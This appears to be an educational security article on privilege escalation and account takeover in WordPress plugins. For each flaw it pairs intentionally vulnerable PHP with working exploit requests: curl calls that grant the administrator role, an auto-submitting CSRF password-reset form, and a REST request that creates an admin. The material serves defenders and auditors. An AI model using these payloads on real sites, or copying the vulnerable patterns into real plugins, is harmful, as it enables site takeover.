Skip to content

Privilege Escalation

Introduction

This article covers cases of possible Privilege Escalation on WordPress, including several processes inside of the plugin/theme that can be used to escalate user privilege or role. Privilege escalation in this case also includes an account takeover case.

Arbitrary Option Update

WordPress has an Options feature which is a simple and standardized way of storing data in the database. It makes it easy to create, access, update, and delete options. All the data is stored in the wp_options table under a given custom name.

Note that the site functions are essentially the same as their counterparts. The only differences occur for WP Multisite when the options apply network-wide and the data is stored in the wp_sitemeta table under the given custom name.

Two of the default options available are the users_can_register and default_role options. The users_can_register option itself will decide if the site accepts an open user registration, by default this option is disabled. The default_role itself is an option to decide the default role for the new user upon registration on the site and has a default value of the subscriber role.

To update an option, the update_option function is used. If a user can fully control the $option and the $value parameters, they can achieve a privilege escalation by enabling the users_can_register option and setting the default_role option to administrator so the registration feature is open and anyone can register with an administrator role.

Example of vulnerable code:

add_action("wp_ajax_nopriv_update_site_preference", "update_site_preference");
function update_site_preference(){
if(empty($_POST['key']) || empty($_POST['value'])){
echo 'Unable to update key.';
die();
}
update_option($_POST['key'],$_POST['value']);
echo "site preference updated";
die();
}

To exploit this, any unauthenticated user just needs to perform a POST request to the admin-ajax.php endpoint specifying the needed action and parameter to trigger the update_option function.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=update_site_preference -d "key=users_can_register&value=1"
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=update_site_preference -d "key=default_role&value=administrator"

After that, the user could just simply go to <WORDPRESS_BASE_URL>/wp-login.php?action=register and register an account with an administrator role.

Below are some of the findings related to Arbitrary Option Update:

Arbitrary User Meta Update

According to official documentation, the WordPress users table was designed to contain only the essential information about the user. Because of this, to store additional data, the usermeta table was introduced, which can store any arbitrary amount of data about a user.

WordPress stores each of the user role data inside of the usermeta table with the key wp_capabilities. The value inside of this meta is an array value which is stored as a serialized object. Example of value inside of this meta key:

a:1:{s:10:"subscriber";b:1;}

To update the user’s meta, the update_user_meta function is used. If a user can fully control the $meta_key and the $meta_value parameters, they can achieve a privilege escalation by either updating their account if the $user_id parameter can’t be controlled or any account if the user can control the $user_id parameter.

Example of vulnerable code:

add_action("wp_ajax_change_user_bio", "change_user_bio");
function change_user_bio(){
$user_id = get_current_user_id();
$bio_key = $_POST["key"];
$bio_value = $_POST["value"];
update_user_meta($user_id, $bio_key, $bio_value);
echo "bio updated";
}

To exploit this, any authenticated user just needs to perform a POST request to the admin-ajax.php endpoint specifying the needed action and parameter to trigger the update_user_meta function.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=change_user_bio -d "key=wp_capabilities&value[administrator]=1" -H 'Cookie: <AUTHENTICATED_USER_COOKIE>'

Below are some of the findings related to Arbitrary User Meta Update:

Unrestricted User Registration

Many plugins or themes implement a custom user registration process. This case is mostly found in a page builder plugin as one of the shortcode or block features.

One of the ways to register a user is through a wp_insert_user function. This function accepts the $userdata parameter which is an array, object, or WP_User object of user data arguments. One of the values inside of the parameter is role which determines the role of the inserted user. Another value would be meta_input which can be filled with custom user metadata which can also result in a privilege escalation.

Example of vulnerable code:

add_action("wp_ajax_nopriv_open_registration", "open_registration");
function open_registration(){
$user_data = array(
'user_login' => !empty( $_POST['reg_name'] ) ? $_POST['reg_name']: "",
'user_pass' => !empty( $_POST['reg_password'] ) ? $_POST['reg_password']: "",
'user_email' => !empty( $_POST['reg_email'] ) ? $_POST['reg_email']: "",
'user_url' => !empty( $_POST['reg_website'] ) ? $_POST['reg_website']: "",
'first_name' => !empty( $_POST['reg_fname'] ) ? $_POST['reg_fname']: "",
'last_name' => !empty( $_POST['reg_lname'] ) ? $_POST['reg_lname']: "",
'nickname' => !empty( $_POST['reg_nickname'] ) ? $_POST['reg_nickname']: "",
'description' => !empty( $_POST['reg_bio'] ) ? $_POST['reg_bio'] : "",
'role' => !empty( $_POST['reg_role'] ) ? $_POST['reg_role']: get_option( 'default_role' ),
);
$register_user = wp_insert_user( $user_data );
echo "user registration complete";
}

To exploit this, any unauthenticated user just needs to perform a POST request to the admin-ajax.php endpoint specifying the needed action and parameter to trigger the wp_insert_user function.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=open_registration -d "reg_name=pwned&reg_password=pwned123&reg_email=pwned@mail.com&reg_fname=pwned&reg_lname=pwned&reg_role=administrator"

Below are some of the findings related to Unrestricted User Registration:

Unrestricted User Update

Similar to the above case, instead of the user registration process, this case involves updating data on the user’s main table. This process is mostly found in a plugin or theme that has a custom feature to update the user’s main data such as first name, last name, description, etc.

One of the ways to update a user’s main data is through a wp_update_user function. This function accepts the $userdata parameter which is an array, object, or WP_User object of user data arguments. One of the values inside of the parameter is role which determines the role of the inserted user. Another value would be meta_input which can be filled with custom user metadata which can also result in a privilege escalation.

Example of vulnerable code to escalate own account role:

add_action("wp_ajax_custom_update_profile", "custom_update_profile");
function custom_update_profile(){
$user_data = array();
foreach($_POST["data"] as $key => $value){
$user_data[$key] = $value;
}
$user_data["ID"] = get_current_user_id();
wp_update_user( $user_data );
echo "user profile updated";
}

To exploit this, any authenticated user just needs to perform a POST request to the admin-ajax.php endpoint specifying the needed action and parameter to trigger the wp_update_user function and change their role.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=custom_update_profile -d "data[first_name]=test&data[role]=administrator" -H 'Cookie: <AUTHENTICATED_USER_COOKIE>'

It is also possible to update a user’s password by specifying the user_pass value in the $userdata parameter array. This could also lead to account takeover if we can control the ID value on the $userdata parameter to specify the targeted user.

Other than that, an attacker can also modify user_activation_key, user_email, or user_login to possibly take over their account.

Insecure Password Reset

Similar to the custom registration process, many plugins or themes also implement a custom reset password process. This case is mostly found in a page builder plugin as one of the shortcode or block features.

One of the ways to reset a user’s password is through a reset_password function. This function accepts the $user parameter as the targeted user object and the $new_pass parameter as the new password value for the user.

The function itself is just a wrapper to another function wp_set_password which is the core function to set the new password for the user. This function accepts the $user_id parameter as the targeted user ID and the $password parameter as the new password value for the user.

Example of vulnerable code:

add_action("wp_ajax_reset_your_password", "reset_your_password");
function reset_your_password(){
$user_id = get_current_user_id();
wp_set_password($_POST["new_password"], $user_id);
echo "reset password success";
}

To exploit this, unauthenticated users just need to craft and serve a malicious HTML file and trick privileged users into visiting the HTML file to do a reset password action with an attacker-controlled password value.

<html>
<body>
<form action="<WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=reset_your_password" method="POST">
<input type="hidden" name="new_password" value="attacker_controlled_value" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

Below are some of the findings related to Insecure Password Reset:

In some cases, the developer needs to log in as a user with a custom identifier or process. This process is mostly seen in a custom login with a third-party process, where users only need to specify some kind of unique identifier or token to be able to log in to a WordPress site.

This process of setting up the unique identifier or token to the login process many times is implemented improperly, resulting in the attacker being able to log in to any user’s account by supplying a guessable or known identifier or even setting up the identifier themself.

One of the functions that could be used to log in a user is the wp_set_auth_cookie function. This function sets the authentication cookies based on the user ID. We only need to set the targeted user id through the $user_id parameter and WordPress will return the authentication cookie, basically allowing the user to log in to the targeted user’s account.

Example of vulnerable code:

add_action("wp_ajax_nopriv_configure_platform_callback", "configure_platform_callback");
add_action("wp_ajax_nopriv_login_third_party", "login_third_party");
function configure_platform_callback(){
$user_id = filter_input( INPUT_POST, 'user_id', FILTER_SANITIZE_STRING );
$fbid = filter_input( INPUT_POST, 'fbid', FILTER_SANITIZE_STRING );
update_user_meta($user_id, "fbid", $fbid);
}
function login_third_party(){
if ( ! isset( $_GET['fb-login'] ) ) {
return;
}
$value = filter_input( INPUT_GET, 'fbid', FILTER_SANITIZE_STRING );
$user = get_users(
[
'meta_key' => 'fbid',
'meta_value' => $value,
'number' => 1,
'count_total' => false,
]
);
$id = $user[0]->ID;
wp_clear_auth_cookie();
wp_set_current_user( $id );
wp_set_auth_cookie( $id );
}

To exploit this, any unauthenticated user just needs to perform a POST and GET request to the admin-ajax.php endpoint specifying the needed action and parameter to trigger the configure_platform_callback function and then the login_third_party function.

Terminal window
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=configure_platform_callback -d "user_id=1&fbid=1337"
curl <WORDPRESS_BASE_URL>/wp-admin/admin-ajax.php?action=login_third_party?fb-login=1&fbid=1337

Below are some of the findings related to Insecure Authentication Cookie Set:

Insecure Current User Object Set

Just like the wp_set_auth_cookie() mentioned above, the wp_set_current_user() function in WordPress is responsible for setting the current user object. It is typically used when WordPress needs to impersonate a different user within the same session. The function takes a user ID, email, or username as input and sets the current user to the one that matches.

While this function is essential for WordPress’ user management system, incorrect usage or insufficient validation around it can lead to several vulnerabilities, including privilege escalation, user impersonation, and authentication bypass.

As mentioned in the WordPress Developer Resources, this function takes either a user id or a username.

wp_set_current_user( int|null $id, string $name =): WP_User

So we can supply a user ID or a username like the following.

wp_set_current_user( 1 ); // Set current user to the admin (ID = 1)
wp_set_current_user( 'admin' ); // Set current user to 'admin' by username

Well unlike wp_set_auth_cookie , wp_set_current_user() doesn’t log the user in. It just sets the global user variables. The only way for an attacker to log in to an account is if it is supported by wp_set_auth_cookies and a wp_login action calls.

$user_id = $_GET['user_id'];
$user = get_user_by( 'id', $user_id );
wp_set_current_user( $user_id );
wp_set_auth_cookie( $user_id );
do_action( 'wp_login', $user->user_login, $user );

Does that mean that is the only way to exploit this? No. Just like mentioned in the Critical Privilege Escalation in LiteSpeed Cache Plugin Affecting 5+ Million Sites it is possible to call /wp-json/wp/v2/users REST API to generate a new user with high privileges.

Other custom functionality that is relaying on capability checks will also be bypassed.

$user_id = $_GET['user_id'];
wp_set_current_user( $user_id );
function elavate_me(){
if(current_user_can("manage_options") == true){
// Super dangerious code like eval()
}
}

In this setting since we set our capabilities to a user with the user ID 1 (which is highly likely an administrator) we can pass through the capability check to access the internal functionality.

add_action( 'init', 'patchstack_secure_func' );
function patchstack_secure_func() {
$user_id = $_GET['user_id'];
wp_set_current_user( $user_id );
}

In this example code, we can call the function using cURL like this to set our capabilities and add a new user.

Terminal window
curl -X POST "http://yourwordpresssite.com/wp-json/wp/v2/users?user_id=1" \
-H "Content-Type: application/json" \
-d '{
"username": "newadminuser",
"email": "newadmin@example.com",
"password": "SecurePassword123!",
"roles": ["administrator"]
}'

Below are some of the findings related to this vulnerable setting:

Contributors

rafiembk273